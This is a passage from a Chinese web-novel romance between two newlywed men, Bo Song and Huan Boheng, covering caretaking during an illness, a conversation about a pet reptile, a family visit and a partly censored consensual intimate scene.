桓柏蘅再次被拒绝,尴尬转为一丝烦躁,源自于他对这种事毫无经验一窍不通而许景渊跟他说的严重后果,和薄淞已经有的明显症状。 “不是都做过了?” “我有需要的话,会请你帮忙好吗?”薄淞没有严重到必须要上药的地步,如果必须的话,他肯定会寻求帮助,“我知道你是关心我谢谢。 他真心实意的道谢,桓柏蘅没说话了,一阵又出去。 薄淞这会犹豫着要不要跟上,他能感觉到桓柏蘅不耐的情绪,纠结着没一会,离开的人又回来,比刚才还快,桓柏蘅拿了瓶饮用水,手里是医药袋。 薄淞看他打开水,递过来,又收回 “你吃过晚饭没?” 薄淞犹豫着,“还没。” “”桓柏蘅盖上瓶盖,盯着他,终于,找到发泄的理由。 “你连饭都不知道吃?” “”- 薄淞在“监视“下把拆箱一半的书归置完好在书房架子上,桓柏蘅点的餐也到了,两人一道下楼。 餐食清淡,分量不少。 桓柏蘅分盛两份,推过去一份时,薄淞才意识到什么。 “你没吃饭吗?”他问。 桓柏蘅动作顿了下,看过去,一字一顿,“我生病了吗?” “” 薄淞没有讥讽他的意思,默默地拿过勺子,喝的还是粥,不过比起他煮的要好喝许多,米汤粒粒分开,软糯甜香。 味道该是不错的,不过薄淞喝了三分之一,就有些喝不下。 勺子在米汤搅了下,头顶就有阴影压下来。 桓柏蘅站起来,直接端走了他手里的碗,薄淞还没反应过来,人已经绕过长桌过来,长腿勾开餐椅,坐下。 一口粥被怼至薄淞跟前。 “喝。”语气不好。 薄淞眼睫颤了下,凑过去,张口咽下粥,很甜。 桓柏蘅不像多有耐心,也不是多想喂他,薄淞但凡慢了几秒就要被催,一勺一勺的,也喝了三分之二。 薄淞喝不下了,心跳太快。 恶心反胃的感觉就更严重。 桓柏蘅没有问他,为什么这个点不吃饭,他吃不下,不是想故意饿着自己,也不存在像小孩子一样顾着玩乐到点不会照顾自己的情况,这么多年,他把自己照顾得还算健康。 薄淞勉强又喝了一口,等桓柏蘅再喂过来,抬头。 桓柏蘅看他抿了下唇。 “我喝不下了,有点难受。” 桓柏蘅面无表情,他并不觉得,难受就可以连这么一小碗的粥都不喝完。 “真的柏蘅,好吗?” 薄淞用一种很低的,或许有那么一点点可以忽略不计的像是在撒娇的语气表达话的真实。 “” 勺子调转方向,桓柏蘅把剩下的几口解决,碗筷被放在桌上,薄淞盯着空荡的碗,后知后觉,桓柏蘅把他剩下的粥喝了。 “拿着。” 头顶声音传来,薄淞略显慌乱的视线才从瓷碗上挪开,接过桓柏蘅递至跟前的水杯。 桓柏蘅开始拆封药袋,他一颗颗在分,垂着眼,拧着眉,严肃而认真,薄淞握紧水杯,满脑子却是,桓柏蘅不嫌弃他吗? 为什么吃他剩下的东西。 分好的药被推至跟前,被一道凉凉的带着点威胁的不满眼神扫过。 “药还得我喂你吃?” 薄淞立刻就着水吞咽,桓柏蘅打开手上黑色药盒,取出说明书在看。 说明书字数太多,他很讨厌看说明书,间隙瞥向面前的人。 薄淞正仰着头,吞咽,喉结上下滚动。 青青紫紫的吻痕刺眼。 “疼吗?” 薄淞放下杯子,听见这么一句,“什么?” “青的,紫的。”桓柏蘅平直的口吻,“全身。” 不止是吻痕,也有桓柏蘅按住他的时候弄出来的。 “不疼的。”薄淞脸颊泛热,握紧了些玻璃杯,“我比较容易留印子,皮肤问题,不是你的” “我没亲你,膝盖也是自己磕的?” “” 桓柏蘅被说明书弄得心烦,薄淞的话也让他心烦,“技术差就是差,我没什么好不承认的,弄疼你可以说,直接推开我也可以,不喜欢为什么” “没有不喜欢。”薄淞第一次打断他,又有些尴尬,“真的。” “你有受虐倾向?” “没有”薄淞唇抿了下,直视桓柏蘅的眼睛,坦诚自己真实的想法,“桓柏蘅,是有点疼,可是后来,我也觉得很舒服,留印子真的是皮肤问题。” 薄淞发现,好像他什么都不说,桓柏蘅就会把责任全揽在自己身上,好像这场□□只有“薄淞”一个受害者,实际他们是彼此同意,不能因为“位置问题”,全部责任就在对方。 他也有觉得舒服,不管是身体还是精神上。 桓柏蘅看着薄淞,直接,炙烫,薄淞一向受不了他这样的眼神,再次开口的话语气轻了下来。 “真的,你不信的话可以现在掐我一下。” 薄淞撩起袖子,露出白皙的一小片手臂皮肤,算是为数不多幸存的地方,桓柏蘅抓他一般都是握胳膊和手腕。 他想向桓柏蘅证明。 桓柏蘅没掐他,又握住了他的胳膊。 薄淞被向前一扯,颈部小块皮肤的位置一热,潮湿的触感,他瞪大眼,大脑空白,随后感受到微微的刺疼,最后被推回了原位。 桓柏蘅紧盯着那块被吮吸过的皮肤,用实验般谨慎的观察态度,看白皙褪去,染上红,晕开,随后缓缓浮上血点。 他这一口比昨晚“温柔”很多,仍旧在皮肤留下不小印记,证实薄淞的话可能并不是谎言。 桓柏蘅对于他的“舒服”,多了点信服感。 男人在这种事情上总有点自己的自尊,桓柏蘅也有,大概他今天的态度多少掺杂了点挫败的成分,可好像不应该发作在薄淞身上。 “你是第一次?” 他应该多点理解。 薄淞没从桓柏蘅真的忽然咬他一口的震惊中回神,又被这么句话砸的凌乱。 “我们结婚了,也做过。”桓柏蘅强调,“我是你的丈夫,。” 他用了个比较官方的词,意思是他的身份,他问任何事都是可以的,而薄淞应该对他坦诚。 这是桓柏蘅理解的婚姻的意义。 当然,他会先一步坦诚。 “薄淞,我是第一次,你可以提出批评建议,我会改进,当然不止是在这方面。既然我们还有很长的时间要相处,矛盾积累没有好处,你不可能永远迁就忍让,我也反感猜测别人的心思。我说过,责任义务会做到,你不要让我做不负责任的人。” 薄淞对桓柏蘅的话不算认同,他当然是可以无条件且永远迁就桓柏蘅的,桓柏蘅比他小,他又那么喜欢对方,有什么不可以呢?这不是忍让,也不是把自己放的很低,纯粹是因为,真的没关系。 可是这些解释没必要说。 “你真的是第一次?” 薄淞所有的念头被这句话占据,他说完才意识到好像不该这么问,想解释,被桓柏蘅打断。 “不然呢?我看起来像是私生活很不检点的那一类人?” 他在薄淞心里是乱搞的人?薄淞不调查他吗?可显然没有。 桓柏蘅又有点不高兴。 “我没谈过恋爱,第一次结婚也是跟你。” “” “你呢?”桓柏蘅话都说到这,不可能不要薄淞回答,“你跟别人上过床吗?” 他调查过薄淞,恋爱史干净,而薄淞不会是一夜情的那类人。 所以应该是没有。 可有些东西查不出来,不摆在明面上的,比如薄淞有个喜欢的人,如果对方想呢? 能拒绝吗? 薄淞喝醉能用腿勾他,他们甚至只相熟不过一个多月,见面寥寥,那对待喜欢的人呢? 桓柏蘅想到昨晚,他跟薄淞说的“他不做下面的那个”,薄淞几乎没有犹豫痛快的答应。 他不觉得薄淞是喜欢或是适合在下面的人。 因为做过吗? “没。” 桓柏蘅阴暗下来的念头在一声讷讷的轻语中消散,薄淞耳尖红的像滴血,捏紧玻璃杯的指尖泛白。 昨夜也是这样,掩耳盗铃用胳膊遮眼睛,很生涩,害羞。 “婚前应该有调查过吧。” 薄淞不觉得桓柏蘅不在意,从对方很多时候隐隐透出的掌控欲中可以瞧出端倪,所以他这么问,会让薄淞觉得是不是昨天晚上他给桓柏蘅留下的印象很荒唐。 勾人腿弯是他做出的邀请,后来在床边,也是他主动坐上去 薄淞整张脸温度烧上来,为自己大胆而放浪的一幕幕而羞愧,他其实想给桓柏蘅好的体验而已。 “随便问问。” 桓柏蘅把其余的药拢好收到一块,好像并不在意。 “” 薄淞忍着羞耻还是再解释了一遍,“我没骗你。” “我说的也是实话。” 桓柏蘅把说明书连带着唯一一盒没被拆分过的药给他,“这个你拿着,有需要喊我。” 说明书上一行字,简单明了,是外用的。 “” “上楼吧。”桓柏蘅把袋子勾进手里,“这两天我会负责照顾好你,这是我的责任,希望你配合。” “还有,现在,你该去休息了。” 第26章 薄淞被勒令上床, 闭眼,被子拉至脖颈处,只够呼吸。 因为桓柏蘅说要闷汗。 薄淞只能配合。 房间里关了灯, 只有窗外丁点月光透进来, 静谧,薄淞闭眼一阵, 悄悄睁开条缝隙。 对上桓柏蘅投过来,很淡很淡的眼神。 “我睡不着。” 他没听见脚步离开的动静, 桓柏蘅也确实没有要离开的意思,坐在床边,手机屏的弱光模糊映着他的脸。 “那就不睡。”桓柏蘅答应利索,“眼睛闭上。” 睡没睡没关系,不许睁眼就成。 薄淞只好重新闭上眼, 还是没有听见脚步离开的动静, 知道桓柏蘅该是不打算走了。 可是坐在床边多无聊,关灯看手机对眼睛也不好 桓柏蘅是在守着他吧。 薄淞胡思乱想中,困意倒也真的袭来, 药效发挥作用,不知不觉睡了过去, 这一觉不安稳,也很浅,闷在被子里,汗一阵阵冒,手脚发软无力,等虚汗冒过后,他才猛地睁眼,醒来。 一片漆黑。 月亮大概被云层遮住, 没有光再透进来,床侧桓柏蘅不在了。 薄淞额头被汗打湿,冰冰凉凉,他爬起来,开了床头灯,暖黄色光晕把房间照亮小片,已经十一点。 薄淞不知道桓柏蘅休息没,还是去别的房间,或是说出门了?他犹豫着还是想起来看看,掀开被子下秒,房门从外被推开。 薄淞同进来的人目光对上。 桓柏蘅眉头很轻地皱了下,“你去哪?” 背着光影的人一点点走近,把手里抱着的被子在床另一侧放下,薄淞还在犹豫怎么回答,去找你?显得很奇怪。 “洗澡的话,不可以,没商量。” 桓柏蘅给他的动机下了定义,薄淞就默认了,重新掩上被子,“好。” “你很不自觉。” “” 薄淞比桓柏蘅大,但好像桓柏蘅没有这个意识,不管是婚前还是现在,跟他说话,从来也没把他当做一个哥哥。 按岁数来,他可以是桓柏蘅的哥哥,虽然他也不想桓柏蘅拿他当哥哥,可某些“被批评”的时刻,还是会觉得有点难为情。 明明比他年纪小的。 薄淞心里想着,看着人简单整了整被子,又绕到他这一头,桓柏蘅重新给他测了一遍温,度数降下来些,才绕回去。 床陷进去一片。 两条被子,两米的床,中间隔了很宽的一块地方。 薄淞却忽然紧张的呼吸都慢了。 这是他清醒的时候,第一次和桓柏蘅同床共枕,能听见对方的呼吸声,却不敢过多目光停留。 闭上眼。 大脑清明万分。 薄淞想了很多零零碎碎的东西,前一秒想后一秒记不起是什么的那种,等耳畔的呼吸均匀起伏时,脑中画面暂停。 他小心翼翼侧过身,睁开眼。 太黑了。 他有些看不太清桓柏蘅的脸。 薄淞努力适应光线,总算半晌后捕捉到暗色里隐约的轮廓弧度,一遍遍描摹过那眉眼,鼻尖,双唇。 心里油然而生满足感。 愉悦的像是短暂拥有的情绪把他填的很充实,在桓柏蘅枕边,触手可及的距离。 薄淞舍不得挪开视线,看了很久,眼睛发酸,发涩,还觉得不够,直至面前人微微蹙了下眉,侧身的动静将他惊吓到。 他闭上眼,心跳擂鼓,直冲耳膜。 桓柏蘅翻了个身,大概是调整睡姿,不再动了,只留下背影映在薄淞稍显失落的眸底。 看不见了- 薄淞昨晚很早开始睡,虽然中途因为桓柏蘅的原因,醒着段时间,可也抵不过总时长加起来过于漫长。 因此清晨的第一缕阳光懒洋洋地透过窗户,照进室内时,他就醒了。 桓柏蘅还在睡。 离他很近。 咚咚咚。 一大早心脏开始高负荷工作,薄淞等它平静,十多分钟后,身体缓缓后移,拉开距离。 他想着冰箱里的食材,今天该做些什么? 桓柏蘅不爱喝粥,弄点西式早点好了,在国外呆了那么多年,可能更习惯西餐,饮品的话 他掀开被子的胳膊被握住。 “去哪?” 低沉的嗓音身后出来,带着浓沉的倦意,桓柏蘅半眯着眼,瞳光深幽,直直盯过来。 薄淞脑子里卡了下,怔怔回答,“做饭。” “”- 薄淞烤了牛油果金枪鱼培根吐司,配上两杯高维c水果,当作两人早餐。 饭后,去院子里晒太阳。 他的烧昨夜就退了,因此早上的药里少了粒退烧药,其余的他不知道什么功效,再次被桓柏蘅一颗颗挑出来,桓柏蘅说至少得吃三天。 薄淞就着水吃了,他不在乎多吃点药,沉迷于被桓柏蘅照顾关心的感觉。 而这会,桓柏蘅会确保他毛衣领子翻到最高,外套厚实且一丝风都透不进去。 于是薄淞被晒一会,人就有些暖洋洋的倦意。 他眼皮往下耷拉,明明才睡醒又饭后困觉,直至颊侧忽然被人碰了下,长睫颤动,下个瞬间清醒,往边上看去。 桓柏蘅收回手,浑然不觉刚才提醒的动作过于暧昧,“别睡。” 他有起床气,压着,薄淞又做了早饭,算是抵消。 可大早上起来的人搅了他的睡意,这会自己想睡? 做梦。 桓柏蘅不让薄淞睡,薄淞也哪还有困意,脸颊被碰过的哪块地方热的厉害,他便仰着些脑袋,让风可以扑在那块地方,温度才一点点降下来。 他盯着远处的花园,又开始放空。 麻雀在阳光下跳跃,时不时停在枝头,花园里冬日花卉争艳,却抵不过角落处的山茶,慵懒而高贵姿态。 它是唯一被养在玻璃房里的,娇生惯养,在自己的一方天地里,偶有麻雀在外,蹦跳着,施以注意。 山茶抖落着花瓣,姿态更加挺拔。 薄淞望着那山茶,余光不经意扫过身侧,停顿,再看去,几次后,被抓到现行。 “想看?”桓柏蘅问。 薄淞尴尬一瞬,“可以吗?” 刚才桓柏蘅对着屏幕,笑了三次,而桓柏蘅会这么问,就是可以的意思,他会好奇让桓柏蘅笑的东西是什么。 面前的人大方翻转过了手机,调高音量。 是一段视频。 画面先是一个四方的玻璃柜,很大,柜中横着木头,隔着远看不清晰,有脚步声一点点在画面中响起,连带着镜头拉近,一只白皙的手伸进柜中落在了视频主角的身上。 “Bunny”镜头中的人唤它。 是桓柏蘅。 被叫到的小东西开始挥舞四肢,通体红斑的粗糙表皮贴着手臂前行,一路爬到锁骨处。镜头晃动,出现桓柏蘅半张脸,笑的宠溺,拍了拍它脑袋。 “可爱吧?” 桓柏蘅现实的声音拉回薄淞惊讶而呆滞的思绪。 “它是什么啊?” 薄淞对爬宠不了解,不过可以肯定这不是会被它定义为可爱的东西,因此他有点难以违心说出可爱两字。 当然更多的是意外于桓柏蘅竟然会喜欢这类冷门的宠物,他对桓柏蘅的了解真的很少。 “盖勾亚。”桓柏蘅介绍,“它叫Bunny。” BUNNY长得吓人实则很温顺,被翻过肚皮也没有攻击性,桓柏蘅松手,它又很快翻身爬起来,沿着桓柏蘅手臂继续“征战”。 “这是它最喜欢的游戏。” 乐此不疲。 BUNNY登顶后,镜头这次出现桓柏蘅完整的模样,少年青涩而初显冷峻的面容,垂下眼皮,却仍旧能从目光中捕捉到浅淡的一缕笑意,把趴在锁骨处的Bunny取下来,这回放的很远。 BUNNY肥胖的身体让它的肚皮叠了好几层褶皱,石斑状的眼睛咕噜转了两下,贴着桌面蠕动 薄淞有点看不下去了,他对这种爬宠心理上些许不适。 “不喜欢?”桓柏蘅看见他表情,“大二养的,有次我拿它吓云松,放他枕边,醒来他差点没吓死。” “” 薄淞失语,第一次他觉得,桓柏蘅是有点恶劣的因子在身上,这有点太过分了,如果把这东西放他枕边,可能也得做很久很久的噩梦。 “它应该挺滑的,我是说摸起来。” 薄淞逃避回答“可不可爱”“喜不喜欢”的问题,,可转移话题显然没用。 桓柏蘅又问了遍。 “每个人对可爱喜欢的定义都是不一样的。” “哦,那就你本人来看,你觉得如何?” 薄淞败了。 “可爱。” 他不想否定桓柏蘅的喜好,这是头一回,桓柏蘅主动和他分享过去的事,喜欢的东西。 薄淞决定,多多表示点热情。 “它吃什么啊?” “面包虫,蟋蟀,杜比亚蟑螂。” “” “果泥它最喜欢,吃得多,胖。” “是吧。”薄淞讪讪道,“怎么会想养这个?” “一个人住,就随便养养。”桓柏蘅大学那会住校外,家里没活物,怪冷清,有朋友正好沉迷爬宠,他了解后,觉得不错。 “我记得,学校外住的学生,养猫狗的很多。” 薄淞经常校外小区能看见遛狗的,还有宠物集会。 “省事,比猫狗方便。” 情感丰富的动物会索要情绪价值,要花费时间,需要陪伴,这是桓柏蘅嫌烦的。 Bunny就很好,需要的时候取乐解闷,不需要丢个食物进去就成,两天一顿是常态。 薄淞能懂桓柏蘅的意思。 “还有其他的,你要看吗?” “可以。” 桓柏蘅给BUNNY建了个文件夹,拉下来四五十个视频,可见是真的喜欢,薄淞看了些,也渐渐适应点。 唯一遗憾的是,镜头里桓柏蘅出现很少,几乎只有一只手。 或是连手都没有。 “还挺想它的。”桓柏蘅几分感慨。 薄淞闻言愣了下,抬头,“它短暂的一生肯定很幸福。” 目光望向桓柏蘅,眼睛在阳光底下很亮。 “你记得它,它就还活着。” 薄淞很真心,希望桓柏蘅不要因为这个而难过,只他没等到桓柏蘅的释然。 桓柏蘅用一种很奇怪的表情看着他,然后开口,“我刚才有说它死了吗?” “” 薄淞表情变得空白,下秒。 “抱歉。” 他迅速低头,弄了个乌龙。 “BUNNY在国外。”桓柏蘅见人尴尬红温的模样,勾了勾唇,“既然你也不讨厌,改天接回来好了,介绍你们认识。” “” 桓柏蘅喜欢的话,接回来就接回来吧,薄淞说服自己。 他想说“可以”,耳边又闯进声音。 “不过它习惯跟我一个房间。”桓柏蘅慢悠悠道,“你介意吗?” “” 薄淞脸色变得僵硬,而桓柏蘅在等他回答。 他半晌才艰难拒绝,“我建议它还是自己住,可以为它收拾一间单独的房间。” 桓柏蘅没说话了,好一阵,才有笑声传过来。 “好吧。不过我是骗你的,它很可爱,可我送给别人了,不能来我们家。” “” 桓柏蘅语气愉悦,他说,“有机会我介绍你认识。” “好。” 第27章 后两天, 桓柏蘅没出门,他们几乎时刻呆在一块。 两人交流多起来,相处也不像开始那样拘谨, 气氛轻松自然许多。 谈过去, 谈未来,彼此多了许多了解。 薄淞才发现, 他们有许多共同爱好,滑雪摄影, 大学同一时期热衷的游戏,歌单轻音乐,以及对竞技类体育的关注。 “以后有机会可以一起。” 薄淞期待也克制的提出邀请,桓柏蘅欣然答应。 除了伴侣,他们现在似乎可以勉强算做朋友, 薄淞这么觉得。 他唯一可惜的是, 时间过得太快。 薄淞第四天醒来下楼时,客厅里灯光亮堂。 “薄先生。”后院进来一人,是老宅照顾桓柏蘅二十多年的阿姨, 见着他满脸笑意,“早餐可能还得一会。” 薄淞才记起,昨天老爷子电话里说的,今天会让老宅的阿姨和园丁过来。 阿姨负责他们一日三餐,园丁每天只会过来一两个小时,工作时间取决于院子里花草的具体情况。 他和桓柏蘅完全对园艺方面一窍不通。 “您喊我名字就好,早餐也不着急的。” 阿姨过来,早餐的工作轮不到薄淞,因此在和人说完话目送对方离开后,薄淞站在楼梯口, 忽然几分茫然,不知道该干什么去,原本他是下楼给桓柏蘅做早餐的。 薄淞小声地呼出口气,既然醒了,还是走走,他往院子去,想着和园丁师傅打个招呼。 院子里,林伯重点关照着两株山茶,调温度,观察泥土和叶片虫害情况,见着他,弯下的腰直起来,开口的称呼在薄淞率先的敬称中止住。 林伯无奈笑笑,眼底慈祥。 “您忙,我先不打扰您了。” 老宅里的人都是从小看桓柏蘅长大的老人,薄淞对他们是尊敬的,在林伯应声后,接着修剪枝叶时离开。 他去后院坐了会,估着点回去,这会桓柏蘅该醒了。 薄淞从后院进到客厅,空气里已然飘着食物的香气,客厅正中的复古时钟敲到了整点,他往旋转梯的位置去。 桓柏蘅没下来,可能睡迟了。 薄淞想着喊一声,转角在楼梯口碰上了人。 桓柏蘅穿着家居睡衣,发丝有些凌乱,他眼睛半眯着,唇角微微抿起,无声却满是低气压地睨着他。 放在往常,薄淞可能觉得,桓柏蘅估计有哪里不满,可几天的朝夕相处,他对对方的生物钟有部分了解。 这是没睡醒的起床气。 就这两日来说,桓柏蘅七点半起,吃早饭,十一点半午睡,大概得到下午三四点,连着午饭一块吃了。 不太健康的生物钟,薄淞也不好说,只能在傍晚准备些下午茶,让他不至于空腹太久。 “睡得好吗?”薄淞柔声问,眼尾弯了些。 桓柏蘅盯着他唇角的弧度,敛下眼皮点了下头,不紧不慢的步子到楼梯口,表情缓和许多。 “你做什么了?” 睡醒的人声音哑着,桓柏蘅鼻尖嗅了嗅,闻到一阵区别于前两日格外浓香的味道,薄淞做的东西,大老远是不会这么香的。 两人一道往餐厅过去。 “不是我做的,爷爷让阿姨过来了。” 薄淞解释。 桓柏蘅想起,是了,今天阿姨会过来,以后也会来负责他们的一日三餐,步子慢了很多,忽然没什么食欲。 餐桌上,两人入座。 早餐很丰富,中西餐都有,花样很多,是阿姨贴心的多准备了些,不知道薄淞的口味。 薄淞见着,升起一种更加切实的这两天委屈桓柏蘅的感受,他做不来那么多,除了三明治就是粥,菜式单调摆盘也并不精致,照顾不好桓柏蘅。 他心里有些挫败。 “不喜欢?” 耳边淡淡闯入一句。 薄淞才摇头否认,“没有。” “你没动筷子。” 薄淞是没动筷,在跟二十多年的专业阿姨单方面比赛厨艺问题,被桓柏蘅点出,他立刻动起筷子用餐。 桓柏蘅看了他一会,才说,“其实早餐不用那么复杂,就我们两个人。” 薄淞不明白他什么意思,只能应和一句。 “我觉得你做的三明治不错。”桓柏蘅说,“我明天有荣幸再吃一次吗?” “当然。” 薄淞决定,这段时间好好研究下三明治的花样吃法- 差不多中午的点,司机到了。 他们今天要回老宅一趟,不止是回去单纯看爷爷,也有正事要处理。 有关荣市年终宴会的事。 薄淞猜的没错,桓柏蘅既然回国,势必会在宴会上出席,只是他没想到,老爷子让桓柏蘅负责这次的筹办。 荣市知名上市的公司不少,拟邀名单一长串,得确认出席名单,届时排酒店场厅,流程安排,宾客到场接待一系列事情足够繁琐,哪怕不是都得桓柏蘅亲手过,可总体敲定是得他来的。 加上只剩下一周时间,时间紧凑。 “有困难的,可以问问小淞。” 老爷子交代完,看向薄淞,“柏蘅这些年不在荣市,很多东西都不清楚,不懂的,你就帮帮他。” 薄淞经验足,能力强,对于桓柏蘅是有帮助的。 这点上,老爷子承认自家孙子眼光很毒辣。 挑中了薄淞。 当然,除开这点,他也存着机会让面前新婚的小夫妻多多交流想到这,老爷子就有些忧虑了。 这怎么从进门到现在,手也没拉过,嘴也没碰过,沙发上坐着中间都能塞进一个人。 哪像是刚结婚。 像是 老爷子强行打住念头,不吉利,招呼两人去吃饭。 薄淞应声后,从沙发站起,他要过去,发现桓柏蘅没动,看了眼爷爷背影,轻声问,“走吗?” 桓柏蘅抬头看他,目光很深,长达一分钟的安静。 薄淞几分莫名,唇角抿了些,语调放得更轻,询问,“怎么了?” 桓柏蘅仍旧不回答,半晌,站起来,走了。 “”- 一顿饭,吃的异常的沉闷。 薄淞期间看了好几次桓柏蘅,最后和老爷子对上视线,尴尬地低下头。 “上次我跟你说的事,和小淞说过了吗?” 老爷子敲敲桌子,无比地头疼,怎么结了婚还得他操心,就不能改改脾气,也不知道一天到晚都气些什么。 他原本以为是两人不亲近,这一观察,又是桓柏蘅单方面闹毛病。 桓柏蘅抬头,看向老爷子,然后说,“没有。” “”老爷子呼出口气,索性直接跟当事人讲。 “小淞,这件事责任在爷爷,可能得跟你说声抱歉,关于你们俩蜜月的事。” 蜜月? 薄淞反应过来时,脸颊腾上点热气,听老爷子接着道。 “按理说,这婚结好后,你们就该去了,可宴会时间紧,柏蘅走不开,你也得出席一下。” 薄淞之前让助理发过邮件,拒绝了。当时他心灰意冷,对于桓柏蘅结婚这事的逃避,是想出国一段时间,结果到今天,和桓柏蘅结婚的对象成了他,就不存在还要“逃避”一说, 再者,他和桓柏蘅成婚,桓家作为筹办方,于情于理,他都是得出席的。 “我会让助理重新回一份邮件。”薄淞道,该走的流程得走。 老爷子点头,把这事顺带说了,稍后脸上浮了点歉意,“你也知道,我打算让柏蘅开始接触公司的事,没打算让他进分公司,年后让他叶叔亲自带,当然也是放在我身边,他这脾气性子都得磨,别人管不住。” 说是管不住,实则重视,薄淞当然理解。 老爷子说这,忍不住补一句,为了婚姻和谐长久。 “平常他犯倔不用理他,过分了你就跟爷爷说。” 只薄淞这次附和的点头时,桓柏蘅幽幽地看了眼过来,他没注意到。 “所以年后,他要去C市学习一段时间,两个月。”老爷子最后说,“你们蜜月,两个月后去吧。”- 薄淞原先是没有和桓柏蘅度蜜月这一行程安排的,老爷子提了,桓柏蘅没拒绝,他当然期待。 可桓柏蘅学习两个月的事,让他那份期待都退去许多。 这意味着,他会和桓柏蘅分开两个月。 薄淞花了点时间接受,他没敢想让桓柏蘅时时陪着他,年后他也需要工作,会忙碌起来。 只是年前空暇,朝夕相处,他竟然生出了点日日都会是这样的念想,不应该,道理明白,失落却是实实在在。 饭后,老爷子让他们上楼,前些日子按照两人尺寸定制了十多套西服,他们需要试一试合不合身。 桓柏蘅的房间薄淞不是第一次来,这次来,却换了个心境。 西服整齐悬挂在衣帽间,尺码不同,分开挂着,也有衬衫,领带,一左一右两个柜子,颜色左右相称,不止黑白灰调,多了些活泼的颜色,适应于各种场合。 薄淞其实一眼能看出,是有点情侣装的意思。 衣帽间用的都是透明玻璃,两面镜子,没有任何可遮挡的地方,这是桓柏蘅的房间,一个人的,也不需要遮挡物。 他和桓柏蘅之间也不必要那么避嫌。 薄淞不想显得扭捏,主动解开衬衫,也试着和桓柏蘅说话,“这些都要试完吗?” 桓柏蘅的回答,说,“是。” “哦。”薄淞接着解扣子。 等他解完最后一颗,眼睫才用力颤了下,轻声问,“你不试吗?” 落在他身上的视线直接,桓柏蘅并不避讳在看他这件事。 可薄淞不太想单方面被看。 他觉得桓柏蘅也得脱一点,委婉的提醒,只显然对桓柏蘅没用。 “不会。” 桓柏蘅的回答,让薄淞茫然了会,然后见人从一众西服衬衫中,精准挑出来一件最复杂的肩口镂空的设计款,加了许多同色系绑带,衣服下摆也是绑带,看的人眼花缭乱。 薄淞也不会。 “帮我?” 桓柏蘅靠近的动作很突然,薄淞没来及反应,热气洒在耳后,激起细微的战栗,像是无数的电流流经身体,带着薄淞拒绝不了的诱惑。 是桓柏蘅柔和了点的嗓音。 “可不可以?”他说,“我就喜欢这件。” “” 只是试衣服而已,桓柏蘅喜欢,当然可以。 薄淞心跳的很快,他说“好”。 抬手想把自己的衣服穿好,他已经解开全部的纽扣,露出半个身体,很不雅观,而身侧的视线,一刻不移地在他身上,能感觉到,心口的烫意蔓延到四肢百骸。 薄淞抬起的手被抓住,桓柏蘅的体温入侵。 他没有机会再穿好衣服,腕部筋脉被桓柏蘅指腹一下下摩挲过,带来清晰发麻的痒意。 “别系了吧。”桓柏蘅垂眼,视线从他单薄裸露的胸膛扫过,前几日的吻痕淡去许多,只留下浅粉的印子他想起迈入老宅后,薄淞的刻意疏远,以及爷爷说“不用理他”时,薄淞点头的动作。 薄淞需要点惩罚。 桓柏蘅把他的手拉到胸口,贴紧,俯身过去,亲在他耳后,感受到对方瞬间的僵硬。 “我喜欢你这样。” “” 薄淞明白了点什么,血色涌到脸上,听桓柏蘅问。 “可以吗?” “” 他再次直白地表露。 “薄淞。”桓柏蘅说,“我想和你在这z爱。” 第28章 玻璃柜被撞的一下下发出声响。 薄淞胸口冰凉又滚烫。 羞耻占据了他的大脑, 在这样一个密闭空间里,睁开眼,他都能看到两人交//缠的模样。 想到爷爷就在楼下的房间午睡, 明明是二次来对方家里 薄淞在狠狠地一撞中思绪空白, 耳边冷淡又模糊的嗓音,桓柏蘅说. "你不专心。” 残忍地宣判。 薄淞被拖进疾风暴雨中, 他被、风雨弄得潮湿,指尖用力按在玻璃柜上, 清晰地雾气浮上,下秒就被抓住手。 桓柏蘅握住他的手臂,桎梏在身后。 衣架剧烈晃动,抖落一排衣物,熨烫规整的西装坠下, 堆叠出褶皱, 薄淞险些摔进衣服里,被箍着腰拖回来深到眼底笼着的雾气重了一层- 桓柏蘅从衣柜里扯出那件样式繁琐复杂的衬衫,将薄淞下半身堪堪裹住, 出衣帽间,往浴室去。 怀里的人被放在洗漱台上时,熏红的眼尾抖了下,抓在他肩头的手收紧。 薄淞小幅度的颤抖。 桓柏蘅心里莫名软了下,说不做了,薄淞才松开。 他背部红了一大片,从桓柏蘅的视角看过去,是刚才玻璃柜上磨出来的。 薄淞双腿夹在他腰上,抖得前所未有的厉害。 桓柏蘅手心在人背上顺了顺,算作安抚, 薄淞肩胛骨也很漂亮,像随时展开会飞走的蝴蝶,扑颤着湿漉的翅膀,好一阵,才平静下来。 桓柏蘅今天带了t,也严格按步骤循序渐进。 只是用的随手抓来的润手霜。 思考半晌,他解开薄淞腰部的衬衫,刚亲密完,薄淞是让碰的,五指陷进柔软的大腿根处软腻雪白中。 微微分开了点,垂眼。 没受伤。 桓柏蘅才将人从台上抱下来。 “你太瘦了。”桓柏蘅同他耳语,“多吃一点。” 氤氲的热气扑得镜面模糊,再也看不清了- 老爷子午睡醒后,两人同长辈告别。 薄淞站在老爷子跟前,头一回眼都不敢瞧,怎么可以第二次来桓柏蘅家里,就和人如此荒唐。 长辈都还在的。 他实在无地自容。 “衣服还合身?” 老爷子注意到两人换了身衣服,询问道。 薄淞还没回答,桓柏蘅先替他答了,“合身,直接让人都送过去吧。” 那一柜乱糟的衣服,被重新挂上了架子,衣帽间也被收拾成可以见人的模样,一地干净,薄淞身上的痕迹就不一定了。 老爷子看了眼低头捂着严实的人,外头刮起了风。 “你也穿点,别图着年轻不放心上,小淞都知道好好穿衣服,爷爷要跟你讲多少遍。” 老爷子强制桓柏蘅把外套披上,从小说到大,也没见人听进几句。 又得到一声不耐烦的应,嫌他唠叨。 老爷子脑袋嗡嗡地,才想说两句,桓柏蘅两步到薄淞跟前,牵过人垂在身侧的手。 “” “走了爷爷,您别啰嗦啊,还有,衣服别忘了让人送来。” 薄淞被牵着,有些发愣,身后老爷子也瞪大眼,唯独桓柏蘅自然不过,牵着薄淞的手。 两人身影消失在拐角处- 桓柏蘅坐上驾驶位,随手将兜里的润手霜丢进储物箱。 箱里几个盒子。 薄淞偏头恰好看见,系安全带的动作顿了几秒,继续,扣紧,他侧回身子,背板直了些,目不斜视。 “去趟商场先。” 桓柏蘅说。 薄淞点头,“好”又问,“买什么吗?” “给妈订的丝巾。” 两人中午来爷爷这,晚餐要回薄淞家里,桓柏蘅准备了礼物,当作上门礼,薄淞不知道这件事,有些惊讶。 “谢谢。”他说。 桓柏蘅看了他一眼,“不客气。” 车里气氛又变得有些沉默,当然其中夹着点不一样的东西,尤其两人刚干了点不那么纯洁的事。 薄淞望向玻璃前方,一路畅通无阻。 